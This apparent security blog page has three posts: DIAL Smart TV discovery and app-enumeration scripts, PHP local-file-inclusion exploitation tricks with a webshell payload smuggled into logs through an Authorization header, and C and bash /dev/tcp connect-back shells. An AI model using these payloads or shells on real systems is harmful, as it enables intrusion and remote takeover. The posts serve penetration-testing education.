Smart TV + Smartphone = Shiny New Attack Surfaces

According to a Gartner report from December 2012, “85 percent of all flat-panel TVs will be Internet-connected Smart TVs by 2016.” Forbes magazine gives some analysis about what is fueling this trend: http://www.forbes.com/sites/michaelwolf/2013/02/25/3-reasons-87-million-smart-tvs-will-be-sold-in-2013/ , The article makes a mention of “DIAL”, an enabling technology for second-screen features (which this post is about).  With these new devices come new risks as evidenced in the following article: https://securityledger.com/2012/12/security-hole-in-samsung-smart-tvs-could-allow-remote-spying/ , as well as more recent research about Smart TV risks presented at the CanSecWest and DefCon security conference this year (2013).

For more details about about exactly what features a Smart TV has above and beyond a normal television, consult this WikiPedia article: http://en.wikipedia.org/wiki/Smart_TV.

This post introduces and describes aspects of “DIAL”, a protocol developed by Google and Netflix for controlling Smart TVs with smart phones and tablets.  DIAL provides “second screen” features, which allow users to watch videos and other content on a TV using a smart phone or tablet. This article will review sample code for network discovery and enumerate Smart TV apps using this protocol.

Part 1: Discovery and Enumeration

Smart TVs are similar to other modern devices in that they have apps. Smart TVs normally ship with an app for YouTube(tm), Netflix(tm), as well as many other built-in apps. If you have a smartphone, then maybe you’ve noticed that when your smartphone and TV are on the same network, a small square icon appears in some mobile apps, allowing you to play videos on the big TV. This allows you to control the TV apps from your smartphone. Using this setup, the TV is a “first screen” device, and the phone or tablet functions as a “second screen”, controlling the first screen.

DIAL is the network protocol used for these features and is a standard developed jointly between Google and Netflix.  (See http://www.dial-multiscreen.org/ ).  DIAL stands for “Discovery and Launch”. This sounds vaguely similar to other network protocols, namely “RPC” (remote procedure call). Basically, DIAL gives devices a way to quickly locate specified networked devices (TVs) and controlling programs (apps) on those devices.

Let’s take a look at the YouTube mobile application to see how exactly this magic happens. Launching the YouTube mobile app with a Smart TV on network (turned on of course) shows the magic square indicating a DIAL-enabled screen is available:

Magic TV Square

Square appears when YouTube app finds TVs on the network.

Clicking the square provides a selection menu where the user may choose which screen to play YouTube videos. Recent versions of the YouTube apps allow “one touch pairing” which makes all of the setup easy for the user:

02_tv_picker

Let’s examine the traffic generated by the YouTube mobile app at launch.

  • The Youtube mobile app send an initial SSDP request, to discover available first-screen devices on the network.
  • The sent packet is destined for a multicast address (239.255.255.250) on UDP port 1900. Multicast is useful because devices on the local subnet can listen for it, even though it is not specifically sent to them.
  • The YouTube app multicast packet contains the string “urn:dial-multiscreen-org:service:dial:1”. A Smart TV will respond to this request, telling YouTube mobile app its network address and information about how to access it.

A broadcast search request from the YouTube mobile app looks like this:

11:22:33.361831 IP my_phone.41742 > 239.255.255.250.1900: UDP, length 125
0x0010: .......l..+;M-SE
0x0020: ARCH.*.HTTP/1.1.
0x0030: .HOST:.239.255.2
0x0040: 55.250:1900..MAN
0x0050: :."ssdp:discover
0x0060: "..MX:.1..ST:.ur
0x0070: n:dial-multiscre
0x0080: en-org:service:d
0x0090: ial:1....

Of course, the YouTube app isn’t the only program that can discover ready-to-use Smart TVs. The following is a DIAL discoverer in a few lines of python. It waits 5 seconds for responses from listening TVs. (Note: the request sent in this script is minimal. The DIAL protocol specification has a full request packet example.)

! /usr/bin/env python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5.0)
s.sendto("ST: urn:dial-multiscreen-org:service:dial:1",("239.255.255.250",1900))
while 1:
  try:
    data,addr = s.recvfrom(1024)
    print "[*] response from %s:%d" % addr
    print data
  except socket.timeout:
    break

A response from a listening Smart TV on the network looks like:

[*] response from 192.168.1.222:1900
HTTP/1.1 200 OK
LOCATION: http://192.168.1.222:44047/dd.xml
CACHE-CONTROL: max-age=1800
EXT:
BOOTID.UPNP.ORG: 1
SERVER: Linux/2.6 UPnP/1.0 quick_ssdp/1.0
ST: urn:dial-multiscreen-org:service:dial:1
USN: uuid:bcb36992-2281-12e4-8000-006b9e40ad7d::urn:dial-multiscreen-org:service:dial:1

Notice that the TV returns a LOCATION header, with a URL: http://192.168.1.222:44047/dd.xml . The response from reading that URL leads to yet another URL which provides the “apps” link on the TV.

HTTP/1.1 200 OK
Content-Type: application/xml
Application-URL: http://192.168.1.222:60151/apps/
<?xml version="1.0"?><root xmlns="urn:schemas-upnp-org:device-1-0" xmlns:r="urn:restful-tv-org:schemas:upnp-dd”> <specVersion> <major>1</major> <minor>0</minor> </specVersion>
<device> <deviceType>urn:schemas-upnp-org:device:tvdevice:1</deviceType> <friendlyName>Vizio DTV</friendlyName> <manufacturer>Vizio Inc.</manufacturer> <modelName>Vizio_E420i_A0</modelName>
<UDN>uuid:bcb36992-2281-12e4-8000-006b9e40ad7d M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 3
ST: urn:schemas-upnp-org:device:MediaServer:1

At this point, the YouTube mobile app will try to access the “apps” URL combined with the application name with a GET request to: http:://192.168.1.222:60151/apps/YouTube . A positive response indicates the application is available, and returns an XML document detailing some data about the application state and feature support:

HTTP/1.1 200 OK
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<service xmlns="urn:dial-multiscreen-org:schemas:dial">
<name>YouTube</name>
<options allowStop="false"/>
<state>stopped</state>
</service>

Those of you who have been following along may have noticed how easy this has been. So far, we have sent one UDP packet and issued two GET requests. This has netted us:

  • The IP address of a Smart TV
  • The Operating system of a Smart TV (Linux 2.6)
  • Two listening web services on random high ports.
  • A RESTful control interface to the TV’s YouTube application.

If only all networked applications/attack surfaces could be discovered this easily. What should we do next? Let’s make a scanner. After getting the current list of all registered application names (as of Sept 18, 2013)  from the DIAL website, it is straightforward to create a quick and dirty scanner to find the apps on a Smart TV:

#! /usr/bin/env python
#
# Enumerate apps on a SmartTV
# <arhodes@neohapsis.com>
#
import urllib2
import sys
apps=['YouTube','Netflix','iPlayer','News','Sport','Flingo','samba',
'tv.samba','launchpad','Pandora','Radio','Hulu','KontrolTV','tv.primeguide',
'primeguide','Tester','Olympus','com.dailymotion','Dailymotion','SnagFilms',
'Twonky TV','Turner-TNT-Leverage','Turner-TBS-BBT','Turner-NBA-GameTime',
'Turner-TNT-FallingSkies','WiDi','cloudmedia','freeott','popcornhour',
'Turner-TBS-TeamCoco','RedboxInstant','YuppTV.Remote','D-Smart','D-SmartBLU',
'Turner-CNN-TVE','Turner-HLN-TVE','Turner-CN-TVE','Turner-AS-TVE',
'Turner-TBS-TVE','Turner-TNT-TVE','Turner-TRU-TVE','Gladiator','com.lge',
'lge','JustMirroring','ConnectedRedButton','sling.player.googletv','Famium',
'tv.boxee.cloudee','freesat','freetime','com.humax','humax','HKTV',
'YahooScreen','reachplus','reachplus.alerts','com.reachplus.alerts',
'com.rockettools.pludly','Grooveshark','mosisApp','com.nuaxis.lifely',
'lifely','GuestEvolutionApp','ezktv','com.milesplit.tv','com.lookagiraffe.pong',
'Crunchyroll','Vimeo','vGet','ObsidianX','com.crossproduct.caster',
'com.crossproduct.ether','Aereo','testapp3e','com.karenberry.tv',
'cloudtv','Epictv','QuicTv','HyperTV','porn','pornz','Plex','Game',
'org.enlearn.Copilot','frequency', 'PlayMovies' ]
try:
  url = sys.argv[1]
except:
  print "Usage: %s tv_apps_url" % sys.argv[0]
  sys.exit(1)

for app in apps:
  try:
    u = urllib2.urlopen("%s/%s"%(url,app))
    print "%s:%s" % ( app, repr(str(u.headers)+u.read()) )
  except:
    pass

Some of those app names appear pretty interesting. (Note to self: Find all corresponding apps.) The scanner looks for URLs returning positive responses (200 result codes and some XML), and prints them out:

 $ ./tvenum.py http://192.168.1.222:60151/apps/ 

YouTube:'Content-Type: application/xml\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<service xmlns="urn:dial-multiscreen-org:schemas:dial">\r\n  <name>YouTube</name>\r\n  <options allowStop="false"/>\r\n  <state>stopped</state>\r\n</service>\r\n'

Netflix:'Content-Type: application/xml\r\n<?xml version="1.0" encoding="UTF-8"?>\r\n<service xmlns="urn:dial-multiscreen-org:schemas:dial">\r\n  <name>Netflix</name>\r\n  <options allowStop="false"/>\r\n  <state>stopped</state>\r\n</service>\r\n'

Hopefully this article has been informative for those who may be looking for new devices and attack surfaces to investigate during application or penetration testing.

 

Local File Inclusion – Tricks of the Trade

By: Cris Neckar, Andrew Case

Everyone understands that local file includes are bad. The ability to execute an arbitrary file as code is unquestionably a security risk and should be protected against. However, the process of exploitation can be rather involved and is commonly misunderstood. In this post I want to clarify the risks involved in this type of vulnerability and the complications involved in exploitation.

To start lets give a bit of background. I will focus on PHP on Linux specifically but this class of vulnerability may also exist in many other interpreted languages on different platforms. Generically, a file inclusion vulnerability is the dynamic execution of interpreted code loaded from a file. This file could be loaded remotely from an http/ftp server in the case of remote inclusions, or as I will cover, locally from disk. Generally remote file inclusion vulnerabilities are trivial to exploit so I will not be covering them. The following line is an example of a local file inclusion vulnerability in PHP:

require_once($LANG_PATH . ‘/’ . $_GET[‘lang’] . ‘.php’);

In this case an attacker controls the “lang” variable and can thereby force the application to execute an arbitrary file as code. The attacker does not however control the beginning of the require_once() argument, so including a remote file would not be possible. To exploit this an attacker would set the ‘lang’ variable to a value similar to the following:

lang=../../../../../../file/for/inclusion%00

Before we get into discussing the exploitation of this type of vulnerability let me say a few words about preventing them. In the preceding case, the vulnerability could be trivially mitigated through input validation. A simple check for non-alphanumeric characters would suffice in this case. However, where possible I would recommend completely avoiding user input for this type of logic and instead selecting the proper include from a hardcoded list of known good files based on a user supplied index number or hash.

Now that we know how to avoid these when developing applications lets get back to methods of exploitation. A straight forward vulnerability such as this one can in fact be quite difficult to reliably exploit given the differences in deployment platforms. When developing an exploit the first question to ask yourself is generally “what do I need for successful exploitation?”. In this case, the answer to that question is a file stored locally on the target system which contains PHP code that accomplishes our goal. In the best case we will be able to include a file which we directly control the contents of.

This can be an interesting puzzle as it is almost a case of chicken before the egg. To gain access to the remote system we need the ability to create a file on the remote system. The first possibility, and by far the simplest, is to look at the features provided by the application we are attacking. For example, many local inclusion exploits use features such as custom avatars and file storage mechanisms to place code on the target system. Bypassing various checks performed on these types of files/images can be an interesting puzzle in itself and the details are best saved for a future post. However, we want to talk about these vulnerabilities on systems which do not allow such trivial exploitation.

If the target application does not provide some way of uploading or changing a file on disk we need to examine other options. I suggest examining all access to the target server. Ask yourself “What services are available to me and what files to they access? Do I control any of the data written to these files?”. An anonymous FTP server or similar would certainly make life easier here but that would be to good to be true. :)

Generally when people discuss local includes the assumption is that the target file will be the HTTP servers logs. It is quite easy to influence the contents of log files as their purpose is to store the requests that you, the user, make. Most people will suggest the logs and conveniently glaze over the complexities that their usage presents. There are several major potential hurdles in the use of logs.

First we run into the problem of finding the logs. In a production environment it is rare to use default paths for log data, ‘/var/log/httpd/access_log’ is simple enough to guess but what do you do when the log is stored in ‘/vol001/appname.ourwidget.com/log’. Guessing this path would be non-trivial at best and even assuming that verbose error messages or a similar information disclosure gives you some hint to directory structure, using these methods in a reliable exploit would be extremely difficult.

To jump this hurdle lets examine an interesting feature of the Linux proc file-system, namely, the ‘self’ link. The Linux kernel exports a good bit of interesting information about individual processes to usermode through the proc entries for each process id. It also creates an entry called ‘self’ which provides a process easy access to its own process information. When we access /proc/self through the context of a PHP include the link will, in most cases, point to the process entry for the httpd child which has instantiated to PHP interpreter library (This may not be the case if the interpreter has been called as CGI). Often when an HTTPd is run, the path to its configuration file is passed as an argument. If this is the case, finding the log file is a simple procedure of including ‘/proc/self/cmdline’, reading the location of the configuration file and including it to find the path to log files.

Viewing the apache cmdline proc entry

Viewing the apache cmdline proc entry

If the ‘cmdline’ entry does not contain the configuration file there is another option. The per process proc entry also contains a directory entry called ‘fd’. This directory exports a numbered entry for each file descriptor that the process currently holds. In writing PoC for this post on a 2.6.20 kernel we noticed that at some point a kernel developer had the foresight to set the permissions on these entries so that they could be read only by the instantiating user. We tasked intern Y with finding the change and, after grepping the diffs of every kernel release (ever… i.e. wget -r –no-parent http://www.kernel.org/pub/linux/kernel/) he found the following. In May of 2007 the following patch was entered to address the case where a process opens a file and then drops its permissions (Interesting, that is exactly what Apache does).

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=8948e11f450e6189a79e47d6051c3d5a0b98e3f3

This change was committed around the release of version 2.6.22. Using this new access we are able to directly access the files opened by the apache process through these proc entries. By iterating the file name from ‘0’ we are able to directly access the HTTPd log file which will undoubtedly be open for use by the web server. Simply include the files ‘/proc/self/fd/<fd number>’ until you hit on the right file descriptor.

Using the fd proc entries to access apache logs

Using the fd proc entries to access apache logs

Great, so we found the log file. Now we need to determine what fields we actually control. It is commonly believed that you can arbitrarily enter text into apache logs by putting code into GET variables or the requested path. This is generally not the case as these values will almost always be URL encoded and will therefore not execute correctly. I find the simplest field to use is actually the user name. This is pulled from the Authorization header which is typically base64 encoded and thereby avoids the URL encoding mechanisms. By base64 encoding a string similar to the following:

<?php passthru($_GET[‘cmd’]); ?>:doesn’t matter

And specifying an Authorization header as follows:

Authorization: Basic PD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsgPz46ZG9lc24ndCBtYXR0ZXI=

We can insert arbitrary code into the HTTP logs.

PHP code as basic auth username

PHP code as basic auth username

Assuming the stars align and this method is successful there is still one more caveat. On production HTTP servers the logs files tend to be rather large, often in the range of 200mb. Your PHP code is going to be at the very end of the current log file which will likely mean that for each command you run it will take a very long time (depending on connection speed) to wait for the page to display the output from your command. It is possible to use the error_log as this is likely somewhat smaller, but these can still be rather larger than we would hope.

We now have somewhat reliable ways to get code execution, but I hear you saying “There must be a better way”. I am going to present a method which is specific to PHP and somewhat specific to the target application. This is a very common scenario but if it does not fit your needs I hope that it will at least help you to get into the right mindset for this type of exploit development.

PHP provides a mechanism for maintaining session state across requests. Many other languages provide similar interfaces but their internals are sometimes quite different. In the case of PHP a session is started using, logically enough, session_start(). This code can be found is ‘/ext/session/session.c’ within the PHP codebase. Briefly, it checks whether a session cookie was sent with the current request, if not it creates a random session id and sets the cookie within the response to the user. It also registers the global $_SESSION variable which is directly tied to a file stored in the temporary directory. This file will contain any variables set under the session context formatted as a PHP array.

In the case of an application which tracks session information, any setting stored as a string which the user controls could provide an excellent target for a local file include vulnerability. The session file will be named ‘sess_<session_id>’. Although the session_id is a random hash it is trivial to retrieve as it is stored locally in a cookie.

Viewing the PHP session cookie

Viewing the PHP session cookie

In our simple example, our session has a few variables but the simplest to control arbitrarily is a field called ‘signature’. PHP applications tend to store all sorts of interesting things in session variables and there is often a string that you control arbitrarily. In this case by setting our ‘signature’ to PHP code we can gain command execution through this session file.

Putting it all together

Putting it all together

Although the specific methods I have outlined here will not always work in your particular situation I hope that I have at least prompted some interest in the many possibilities for exploiting this type of vulnerability. Regardless of how limited you feel by the platform you are exploiting there is almost always some trick that you can use to get the better of the system.

Connect-Back Shell (Literally)

By: Cris Neckar

In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}

Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);

netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.

So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:

$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin

$ exec 1>&0 # Next we copy stdin to stdout

$ exec 2>&0 # And finally stdin to stderr

Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.